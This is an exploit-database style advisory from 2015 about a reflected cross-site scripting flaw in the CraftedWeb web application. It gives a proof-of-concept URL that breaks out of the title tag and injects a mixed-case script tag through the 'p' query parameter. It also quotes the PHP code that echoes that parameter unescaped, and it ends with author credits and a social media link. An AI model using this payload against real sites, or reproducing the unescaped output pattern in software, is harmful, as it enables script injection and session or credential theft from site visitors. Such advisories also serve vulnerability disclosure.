# Exploit Title: CraftedWeb Cross Site Scripting # Google Dork: NA # Date: 2015-10-06 # Exploit Author: M.r00t3x # Vendor Homepage: https://github.com/zze/CraftedWeb # Software Link: https://codeload.github.com/zze/CraftedWeb/zip/master # Tested on: Windows xp reflected Xss http://127.0.0.1/CraftedWeb-master/index.php?p=</title>1<ScRiPt>alert(&#039;xss&#039;)</ScRiPt> source : echo $website_title .&#039; - &#039;; while ($page_title = current($GLOBALS[&#039;core_pages&#039;])) { if ($page_title == $_GET[&#039;p&#039;].&#039;.php&#039;) { echo key($GLOBALS[&#039;core_pages&#039;]); $foundPT = true; } next($GLOBALS[&#039;core_pages&#039;]); } if(!isset($foundPT)) echo ucfirst($_GET[&#039;p&#039;]); facebook page : wwww.fb.com/algeria.anon Thanks : M.tucX - MrDz -MadGuko